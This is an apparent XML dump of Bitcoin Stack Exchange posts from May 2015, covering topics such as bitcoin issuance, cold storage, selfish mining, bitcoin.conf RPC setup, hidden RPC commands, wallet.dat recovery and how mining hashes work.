  <row Id="37227" PostTypeId="2" ParentId="37217" CreationDate="2015-05-04T12:52:13.893" Score="2" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;The next day, the price of a Bitcoin doubles and goes to $200 per coin. Now again hypothetically, let's say ALL 10 of these people want to sell their Bitcoin and cash out. The math now says $2000 will have to be paid out. &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Why? If everyone's selling off their assets in a panic sell, the price naturally drops to whatever people are willing to pay to buy it (which seems to be nothing in your simplified scenario). Bitcoin does not purport to guarantee a specific &quot;cash out&quot; value.&lt;/p&gt;&#xA;" OwnerUserId="897" LastActivityDate="2015-05-04T12:52:13.893" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37228" PostTypeId="2" ParentId="36044" CreationDate="2015-05-04T13:41:04.780" Score="1" Body="&lt;p&gt;The Bitcoin protocol defines rules which outline valid interaction in the network. One of the rules states that each Block must contain a &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/4571/what-is-the-coinbase&quot;&gt;Coinbase Transaction&lt;/a&gt;. The Coinbase Transaction may be used to collect the transaction fees, and to create a limited number of new coins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/a/162/5406&quot;&gt;As the size of this mining reward shrinks over time&lt;/a&gt;, there is an overall limited amount to be created altogether.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Therefore, one could argue that the complete amount was issued by Satoshi Nakamoto through the creation of the Bitcoin network, and that new bitcoins are now only discovered.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.583" LastActivityDate="2015-05-04T13:41:04.780" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37229" PostTypeId="2" ParentId="36044" CreationDate="2015-05-04T13:54:19.877" Score="2" Body="&lt;p&gt;I'll try to give a different answer than the ones already given.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You are responsible for issuing them. You, together with all other users.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoins are not issued, as they are not tokens that are redeemable for something else. They don't have any promised or guaranteed or even intended value. Bitcoins are simply bitcoins, and the rules of the system determine how many and who can create them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is however us all who are allowing that process to take place. The system exists because the result is something which is usable as money, and people choose to accept it, giving bitcoins value.&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2015-05-04T13:54:19.877" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37230" PostTypeId="1" AcceptedAnswerId="37240" CreationDate="2015-05-04T14:55:24.213" Score="2" ViewCount="277" Body="&lt;p&gt;I was curious to know if anyone knows of any bitcoin business that stores people's wallets offline? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm looking to diversify my backup methods for cold storage and am wanting to send my backups to a company that can store it for me securely. &lt;/p&gt;&#xA;" OwnerUserId="26341" LastEditorUserId="5406" LastEditDate="2015-05-04T15:49:21.853" LastActivityDate="2015-06-23T13:08:37.540" Title="Cold storage companies?" Tags="|coldstorage|offline|safety|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37231" PostTypeId="2" ParentId="37160" CreationDate="2015-05-04T15:29:15.530" Score="5" Body="&lt;p&gt;Selfish Mining cannot be used to change transactions in any way, therefore, it is impossible to steal funds in such fashion. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, Selfish Mining is somewhat the opposite of Double-Spending, as double-spending would require you to publish your own blocks as quickly as possible in order to overtake the network, while selfish mining is based on keeping blocks private as long as possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since successful selfish mining makes another already found block obsolete, one might argue, that the Selfish Miner steals money from the miners that found the obsoleted block. However, in order to perform Selfish Mining, a new block has to be found in the first place, so the mining reward would have been the selfish miners anyway, if he had published his block right away.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lastly, selfish mining forces the network to continue wasting their cycles on an already outdated block height. Yet, while their effort is wasted in a successful selfish mining attempt, this may better be described as obstruction than as theft.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Altogether, I can't think of a way that selfish mining would be used to perform anything that might be labeled &lt;em&gt;Theft&lt;/em&gt;.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2015-05-04T15:48:40.800" LastActivityDate="2015-05-04T15:48:40.800" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37232" PostTypeId="2" ParentId="37230" CreationDate="2015-05-04T15:56:57.287" Score="0" Body="&lt;p&gt;Safety deposit boxes, possibly multiple boxes at different banks plus the usage of &lt;a href=&quot;https://en.wikipedia.org/wiki/Shamir%27s_Secret_Sharing&quot; rel=&quot;nofollow&quot;&gt;Shamir's Secret Sharing&lt;/a&gt;, would seem to be the best option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not aware of any other individual-oriented secure storage businesses (e.g. Iron Mountain for individuals; Iron Mountain and similar businesses seem to be mostly for largish-scale storage / B2B).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Implementations of Shamir's Secret Sharing include &lt;a href=&quot;http://point-at-infinity.org/ssss/&quot; rel=&quot;nofollow&quot;&gt;this one by Lennart Poettering&lt;/a&gt; which is often available under the package name of &lt;code&gt;ssss&lt;/code&gt; in many Linux distros (including Debian and Ubuntu), and also the &lt;a href=&quot;https://bitcoinarmory.com/&quot; rel=&quot;nofollow&quot;&gt;Armory&lt;/a&gt; bitcoin wallet.&lt;/p&gt;&#xA;" OwnerUserId="25088" LastActivityDate="2015-05-04T15:56:57.287" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="37233" PostTypeId="2" ParentId="16942" CreationDate="2015-05-04T17:03:24.973" Score="1" Body="&lt;p&gt;You can create unlimited addresses and then send amounts of bitcoins which are over the fee-less minimum transaction limit to your own addresses.  That means you can technically spam the blockchain for the price of the electricity. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A transaction may be safely sent without fees if these conditions are met:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;It is smaller than 1,000 bytes.&lt;/li&gt;&#xA;&lt;li&gt;All outputs are 0.01 BTC or larger.&lt;/li&gt;&#xA;&lt;li&gt;Its priority is large enough (see the Technical Info section below)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Transaction_fees&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Transaction_fees&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone know how the bitcoin core could stop you from doing that without blocking your IP from the network??  Even in that case, all you need to do is spoof your IP address over and over again&gt;&gt;&gt; &lt;/p&gt;&#xA;" OwnerUserId="26344" LastEditorUserId="2306" LastEditDate="2015-05-04T22:07:09.337" LastActivityDate="2015-05-04T22:07:09.337" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37234" PostTypeId="1" AcceptedAnswerId="37236" CreationDate="2015-05-04T18:57:26.313" Score="2" ViewCount="94" Body="&lt;p&gt;The &lt;a href=&quot;http://gavinandresen.ninja/time-to-roll-out-bigger-blocks&quot; rel=&quot;nofollow&quot;&gt;block size increase proposal&lt;/a&gt; currently under discussion would require all clients that process transactions to upgrade.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Otherwise, pre 0.11 clients would reject these larger blocks, leading to a possible double-spend attack against these merchants after Mar 1, 2016.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Will the Bitcoin developers use the alert system to warn these nodes to upgrade?&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="2306" LastEditDate="2015-05-07T18:49:48.600" LastActivityDate="2015-05-07T18:49:48.600" Title="Assuming that the block size fork goes through, will the Bitcoin developers use the alert key to tell people to upgrade?" Tags="|alert-system|block-size-increase|safemode|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37235" PostTypeId="2" ParentId="8169" CreationDate="2015-05-04T19:33:09.783" Score="2" Body="&lt;p&gt;They'll be able to track your transactions/addresses and tie them to your IP address, although this is mitigated if you are using proxies (you can also go through Tor). &lt;/p&gt;&#xA;" OwnerUserId="7267" LastActivityDate="2015-05-04T19:33:09.783" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37236" PostTypeId="2" ParentId="37234" CreationDate="2015-05-04T21:41:58.823" Score="5" Body="&lt;p&gt;Yes, according to &lt;a href=&quot;http://www.reddit.com/r/Bitcoin/comments/2uuyzd/poll_should_the_maximum_block_size_be_increased/cocjhhe&quot;&gt;Gavin Andresen via Reddit&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even if they didn't to do so, Bitcoin Core already has two other mechanisms which will produce automated alerts as the hard fork approaches: &lt;a href=&quot;https://github.com/bitcoin/bitcoin/commit/dbca89b74b76610331d21656cd6747f5bf8375d6&quot;&gt;one which will take effect&lt;/a&gt; before the hard fork occurs, and &lt;a href=&quot;https://github.com/bitcoin/bitcoin/commit/8fa9b5cc45c1826b00f305e91230c20df18885fa&quot;&gt;one after&lt;/a&gt; (as per &lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0050.mediawiki#safe-mode&quot;&gt;BIP-50&lt;/a&gt;).&lt;/p&gt;&#xA;" OwnerUserId="25088" LastActivityDate="2015-05-04T21:41:58.823" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="37237" PostTypeId="1" AcceptedAnswerId="37254" CreationDate="2015-05-04T21:53:52.137" Score="1" ViewCount="1990" Body="&lt;p&gt;My issue is I cannot get RPC working with Bitcoin Core. I do not know what I'm doing wrong! When I first installed Bitcoin Core it did not come with a bitcoin.conf file so I created one with the following details:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;server=1&#xA;rpcuser=root&#xA;rpcpassword=password&#xA;rpcconnect=127.0.0.1&#xA;rpcport=8332&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That's all I have in there. And yes my Bitcoin Core client is in sync with the bitcoin network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've also checked my router and it is UPNP enabled and I literally see the port in my router's configuration open. The port is: 8333&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And it is the only port open. Do not know if I need 8332 open. Please shed some light on this for me. What I am trying to accomplish is to get PHP to interact with bitcoind such as generate a new bitcoin address.&lt;/p&gt;&#xA;" OwnerUserId="26351" LastEditorUserId="2306" LastEditDate="2015-05-04T22:01:45.033" LastActivityDate="2016-08-05T14:32:13.473" Title="Bitcoin.conf not being read by Bitcoin Core" Tags="|bitcoind|bitcoin-core|php|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="37238" PostTypeId="2" ParentId="37217" CreationDate="2015-05-05T04:06:38.577" Score="2" Body="&lt;p&gt;In addition to everything else already said, there is another false assumption here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If Bitcoin started today, there would not be any bitcoins yet that you could buy. So the first ten users cannot possibly buy them for $100, or any price. They have to mine 10 bitcoins (either each user can mine one bitcoin, or the first user can mine 10, and then sell nine of them, or any other combination).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's say that the first user mines all 10 bitcoins. Let's also say that the first 10 users have $500 each sitting in the traditional bank account - $5000 total.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With your premise, users 2-10 would then pay the first $900 total. So User 1 would end up with $1400 in his bank account, and users 2-10 would end up with $400. It still adds up to $5000! Basically, contrary to your assumption, there is $0 in the &quot;bitcoin economy&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Reading between the lines, it seems to me that you might be thinking of bitcoin as a &quot;company&quot; that you have to &quot;pay&quot;. It's actually a marketplace.&lt;/p&gt;&#xA;" OwnerUserId="26356" LastActivityDate="2015-05-05T04:06:38.577" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37240" PostTypeId="2" ParentId="37230" CreationDate="2015-05-05T06:53:20.007" Score="1" Body="&lt;p&gt;In my opinion trusting a third party with your Bitcoin savings is kind of against the grain of Bitcoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It makes perfect sense to keep day to day amounts on hot wallets either on your phone or online by using services such as &lt;a href=&quot;https://www.coinbase.com&quot; rel=&quot;nofollow&quot;&gt;Coinbase&lt;/a&gt;, &lt;a href=&quot;https://blockchain.info&quot; rel=&quot;nofollow&quot;&gt;Blockchain.info&lt;/a&gt;, &lt;a href=&quot;https://www.circle.com&quot; rel=&quot;nofollow&quot;&gt;Circle&lt;/a&gt; and their likes.&#xA;These companies offer various cold storage options (e.g. &lt;a href=&quot;https://www.coinbase.com/vault&quot; rel=&quot;nofollow&quot;&gt;coinbase vault&lt;/a&gt;) and there are other vendors that specialize in cold storage solutions, e.g. &lt;a href=&quot;https://xapo.com/&quot; rel=&quot;nofollow&quot;&gt;xapo&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All these are viable options and have a place on the ever denser continuum of options to store bitcoins, and in all these cases you surrender some control over your bitcoins for the benefit of simplicity and ease of use.&#xA;However, part of the appeal of Bitcoin is the fact that by design you &lt;strong&gt;can&lt;/strong&gt; maintain &lt;strong&gt;100%&lt;/strong&gt; control over your bitcoins. If you choose to do so, let me recommend &lt;a href=&quot;http://www.coincooler.com&quot; rel=&quot;nofollow&quot;&gt;CoinCooler&lt;/a&gt; (disclosure: I'm the founder).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;CoinCooler helps you generate and encrypt digital files containing cold storage addresses and keys in a way that is guaranteed to be &lt;a href=&quot;http://www.coincooler.com/faq?open=coldstorage,offline&quot; rel=&quot;nofollow&quot;&gt;100% offline&lt;/a&gt;. It also includes &lt;a href=&quot;http://www.coincooler.com/faq?open=ssss,why_ssss&quot; rel=&quot;nofollow&quot;&gt;splitting the encryption password into shares&lt;/a&gt; (as was recommended above by Christopher).&#xA;Basically, its a tool that helps you perform cold storage of bitcoins in a way that is easy and secure so that, hopefully, you will consider doing it yourself and not rely on a third party.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Good luck!&lt;/p&gt;&#xA;" OwnerUserId="5960" LastActivityDate="2015-05-05T06:53:20.007" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="37241" PostTypeId="1" AcceptedAnswerId="37242" CreationDate="2015-05-05T10:24:03.043" Score="4" ViewCount="301" Body="&lt;p&gt;Where can I find a full list of RPCs that are not listed in the output of the help command? (such as &lt;code&gt;invalidateblock&lt;/code&gt; etc.)&lt;/p&gt;&#xA;" OwnerUserId="24556" LastEditorUserId="24556" LastEditDate="2015-06-06T23:10:08.623" LastActivityDate="2022-03-09T13:27:25.607" Title="Full list of RPCs - including hidden RPCs" Tags="|json-rpc|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37242" PostTypeId="2" ParentId="37241" CreationDate="2015-05-05T10:48:30.487" Score="4" Body="&lt;p&gt;Found this in the source code which should answer your question: &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/b05a89b2def301704df8f22f05a45ccf891c2b83/src/rpcserver.cpp#L268-380&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/bitcoin/bitcoin/blob/b05a89b2def301704df8f22f05a45ccf891c2b83/src/rpcserver.cpp#L268-380&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;It's the internal register of RPC commands that bitcoind should serve, and even includes which ought to be hidden from the help command.  &lt;code&gt;invalidateblock&lt;/code&gt; is in the hidden section with three others.&lt;/p&gt;&#xA;&lt;p&gt;Edit:&lt;/p&gt;&#xA;&lt;p&gt;or here in this file in later version: &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/623745ca74cf3f54b474dac106f5802b7929503f/src/rpc/server.cpp#L252&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/bitcoin/bitcoin/blob/623745ca74cf3f54b474dac106f5802b7929503f/src/rpc/server.cpp#L252&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="11123" LastEditorUserId="11123" LastEditDate="2022-03-09T13:27:25.607" LastActivityDate="2022-03-09T13:27:25.607" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="37243" PostTypeId="2" ParentId="17457" CreationDate="2015-05-05T12:58:13.383" Score="0" Body="&lt;p&gt;Could it be as simple as not having confirmations? BlockExplorer seems to keep it's own block database, that's only updated when a new block is reported. Your transaction won't immediately appear there. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Perhaps run &lt;code&gt;less ~/.bitcoin/debug.log&lt;/code&gt; and do SHIFT + F to track for new logs. Once you submit your transaction, watch for errors which hint at the reason for failure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If possible, try verifying it's not being broadcast by using a second node. If it's running with the txindex=1 flag, you can do &lt;code&gt;bitcoin-cli getrawtransaction &amp;lt;txid&amp;gt; 1&lt;/code&gt; on arbitrary, non-wallet transactions. It should be possible after just a few seconds. &lt;/p&gt;&#xA;" OwnerUserId="11123" LastActivityDate="2015-05-05T12:58:13.383" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37244" PostTypeId="1" AcceptedAnswerId="37245" CreationDate="2015-05-05T14:12:51.613" Score="3" ViewCount="135" Body="&lt;p&gt;Reading Bitcoin Developer Guide, I couldn't fully answer following question: &lt;br/&gt; &lt;strong&gt;What is the exact purpose of the Stopping Hash field inside a GetBlocks Message?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="24556" LastActivityDate="2015-05-05T14:50:33.660" Title="Stopping Hash field in GetBlocks Message" Tags="|block|synchronization|peers|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37245" PostTypeId="2" ParentId="37244" CreationDate="2015-05-05T14:50:33.660" Score="5" Body="&lt;p&gt;Node1 announces block B3, using an 'inv' message with B3's gash.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Node2 does not know about B3, or its parent B2, but does know the grandparent B1. It sends a getblocks message, starting from B1, but stopping at B3.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Node1 replies with an inv for B2, but not with B3 or any potential successor B4 thay may have appeared.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The purpose is just avoiding sending too many hashes in case the sender already knows some successor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that since Bitcoin Core 0.10.0, getblocks is no longer used. getheaders has similar logic though.&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2015-05-05T14:50:33.660" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="37246" PostTypeId="1" CreationDate="2015-05-05T16:31:32.090" Score="2" ViewCount="1998" Body="&lt;p&gt;I recently heard of a new cryptocurrency (or maybe it's not new and I'm just out of the loop) called Gridcoin which uses your GPU/CPU/ASIC to do research calculations rather than &quot;meaningless&quot; calculations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I had previously thought that Bitcoin miners have your computer do calculations required to process Bitcoin transfers, and then takes a little bit off the top as payment for doing the calculation. If that's true, then why do all the Gridcoin articles say that the calculations are useless?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to understand the actual details behind Bitcoin further, and there's very little information out there that's accessible to the layman.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What does the miner have my computer do when I'm mining? And why weren't &quot;more useful&quot; cryptocurrencies such as Gridcoin developed earlier? Why does the system reward you for meaningless calculations, and how is that sustainable?&lt;/p&gt;&#xA;" OwnerUserId="26363" LastEditorUserId="5406" LastEditDate="2016-02-08T12:47:56.560" LastActivityDate="2016-02-08T12:47:56.560" Title="What sort of calculations do the miners have your computer do?" Tags="|mining-reward|proof-of-work|mining-theory|" AnswerCount="1" CommentCount="5" ClosedDate="2015-05-06T08:18:25.027" ContentLicense="CC BY-SA 3.0" />
  <row Id="37247" PostTypeId="1" AcceptedAnswerId="37248" CreationDate="2015-05-05T16:44:01.910" Score="4" ViewCount="3641" Body="&lt;p&gt;Whilst moving houses I came across some old HDDs which I've just found contains a wallet.dat from August 2011. The version of Bitcoin-qt must be 0.4.0 as I know the wallet.dat is password encrypted, which was introduced for &lt;a href=&quot;http://sourceforge.net/projects/bitcoin/files/Obsolete/bitcoin-0.4.0/&quot; rel=&quot;nofollow&quot;&gt;version 0.4.0&lt;/a&gt;. It is 100% &lt;em&gt;*not*&lt;/em&gt; &gt;0.4.0, so the vulnerability patched by &lt;a href=&quot;http://sourceforge.net/projects/bitcoin/files/Obsolete/bitcoin-0.4.1/&quot; rel=&quot;nofollow&quot;&gt;0.4.1&lt;/a&gt; is not in place. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the best way to go about restoring the encrypted addresses? If I were to install the 0.4.1 Bitcoin-qt update, would there be any problems with current OS dependencies? Should I use Windows, Linux? Any input greatly appreciated. (I will certainly keep a backup)&lt;/p&gt;&#xA;" OwnerUserId="9382" LastActivityDate="2015-05-05T17:26:26.720" Title="Wallet.dat (&lt;0.4.0) format: retrieving Bitcoin, possible security concerns" Tags="|bitcoin-core|wallet.dat|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37248" PostTypeId="2" ParentId="37247" CreationDate="2015-05-05T17:20:02.290" Score="5" Body="&lt;p&gt;&lt;strong&gt;Using wallet /import&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you load the wallet file in a modern Bitcoin Core version, you can use the &lt;code&gt;dumpwallet&lt;/code&gt; command (to create an unencrypted dump of the keys), and the &lt;code&gt;importwallet&lt;/code&gt; command in a fresh instance with a new empty wallet.dat of the dump. You will need to rescan afterwards, though, which may take a while.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make sure to wipe the dump file afterwards.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Using db dump/load&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One way is to use the following command on a Linux install with db4.8-util installed: &lt;code&gt;db4.8_dump wallet.dat | db4.8_load wallet.dat.new&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will create a new wallet.dat.new file, with the same records as the wallet.dat file, but without any old potentially never-overwritten data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;db4.8-util may be hard to install these days, as most distros stopped distributing db4.8, in favor of 5.1 and later. Bitcoin Core however still uses 4.8 for compatibility reasons. You can use db5.1-util as well, but that means that you'll need a Bitcoin Core version compiled with db5.1 support afterwards to use the newly constructed wallet file.&lt;/p&gt;&#xA;" OwnerUserId="208" LastEditorUserId="208" LastEditDate="2015-05-05T17:26:26.720" LastActivityDate="2015-05-05T17:26:26.720" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="37249" PostTypeId="2" ParentId="37246" CreationDate="2015-05-05T19:14:14.700" Score="1" Body="&lt;p&gt;The calculations are fairly meaningless, it's a pot luck type process so that it is fair for all. They aren't /useless/ though - because they are what power the vast and incredibly secure Bitcoin network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit (elaboration):&#xA;Bitcoin hashing is sha256(sha256()) (i.e. sha256 twice.. just for extra protection from sha256 attacks)..  the input to the sha256 algorithm contains various data that identifies the &quot;solution&quot; to the next block.. so it'll have data like the previous block hash, a timestamp, and a hash for transactions included in the block. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If a miner finds a valid solution then the node verifies and accepts it and broadcasts it to other nodes. If enough nodes receive and verify this solution then it becomes a block and all miners move on to the next block solution. Because mining is random there is no historical data lost when someone else finds a block - every miner has the same chance (proportional to their hash rate of course) - they just repeat sha256(sha256()) over and over. In order for a solution to be valid it must fit all previous blocks and must be a number low enough (defined by the current network &quot;difficulty&quot; level).&lt;/p&gt;&#xA;" OwnerUserId="18441" LastEditorUserId="18441" LastEditDate="2015-05-06T20:22:38.483" LastActivityDate="2015-05-06T20:22:38.483" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37251" PostTypeId="1" CreationDate="2015-05-05T19:57:42.467" Score="9" ViewCount="4974" Body="&lt;p&gt;Is there anybody keeping historical data regarding the number of full nodes on the Bitcoin network? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is :&#xA;&lt;a href=&quot;https://getaddr.bitnodes.io/dashboard/?days=90&quot; rel=&quot;noreferrer&quot;&gt;https://getaddr.bitnodes.io/dashboard/?days=90&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but it only shows data up to 90 days.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additional sources also here :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.coindesk.com/bitcoin-nodes-need/&quot; rel=&quot;noreferrer&quot;&gt;http://www.coindesk.com/bitcoin-nodes-need/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7267" LastEditorUserId="7267" LastEditDate="2015-05-10T16:50:58.517" LastActivityDate="2019-09-05T16:28:08.350" Title="Historical number of full nodes in Bitcoin" Tags="|nodes|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37252" PostTypeId="1" CreationDate="2015-05-05T23:25:32.037" Score="0" ViewCount="53" Body="&lt;p&gt;I was thinking around &lt;a href=&quot;http://lightning.network/&quot; rel=&quot;nofollow&quot;&gt;http://lightning.network/&lt;/a&gt; .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My problem is Alice sending coins to Bob via Eve: &lt;code&gt;A -- tx1 -&amp;gt; E -- tx2 -&amp;gt; B&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to condition tx1 on Eve signing tx2?&lt;/p&gt;&#xA;" OwnerUserId="26366" LastActivityDate="2015-05-05T23:50:07.120" Title="Can a transaction be conditioned on signing another transaction?" Tags="|transactions|script|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37253" PostTypeId="2" ParentId="37252" CreationDate="2015-05-05T23:50:07.120" Score="1" Body="&lt;p&gt;Not directly, but you could do something similar by combining tx1 and tx2 into a single transaction.&lt;/p&gt;&#xA;&lt;p&gt;So, instead of:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;tx1:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Input         | Output&#xA;Alice (1 BTC) | Eve (1 BTC)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;tx2:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Input          | Output&#xA;Eve (0.99 BTC) | Bob (0.99 BTC)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;you could use:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;tx:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Input          | Output&#xA;Alice (1 BTC)  | Eve (0.01 BTC)&#xA;               | Bob (0.99 BTC)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;This doesn't seem useful for the lightning network, because you really don't want to have a payment fail just because a settlement somewhere along the path failed.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2015-05-05T23:50:07.120" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="37254" PostTypeId="2" ParentId="37237" CreationDate="2015-05-06T00:32:27.077" Score="2" Body="&lt;p&gt;The answer was to simply move bitcoin.conf in the correct directory, as described here: &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/4006/where-is-the-data-folder-for-bitcoin-qt&quot;&gt;Where is the data folder for Bitcoin-Qt?&lt;/a&gt;&#xA;Also, don't forget to set the correct file permissions as well; &lt;code&gt;bitcoin.conf&lt;/code&gt; should be owner &lt;strong&gt;read-only&lt;/strong&gt;!&lt;/p&gt;&#xA;" OwnerUserId="26351" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.610" LastActivityDate="2015-05-08T09:42:41.700" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37259" PostTypeId="1" AcceptedAnswerId="37301" CreationDate="2015-05-06T06:56:31.390" Score="2" ViewCount="115" Body="&lt;p&gt;Gavin Andresen said the best time to launch the block size increase update / hard fork would be the next reward halving (when mining discovery bounty would go from 25btc to 12.5btc).&#xA;Why has halving anything to do with increasing odds of success of a hard fork?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Source: Gaving Andersen said that at the Dev Core conference London on April 19th in his keynote &quot;Why we need a bigger chain&quot;. There was a live broadcast of the event but I can't find a video link.&lt;/p&gt;&#xA;" OwnerUserId="9229" LastEditorUserId="9229" LastEditDate="2015-05-07T08:12:18.480" LastActivityDate="2015-05-08T13:43:39.103" Title="Why is halving the best time for block size increase hard fork?" Tags="|blockchain-fork|block-size-increase|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
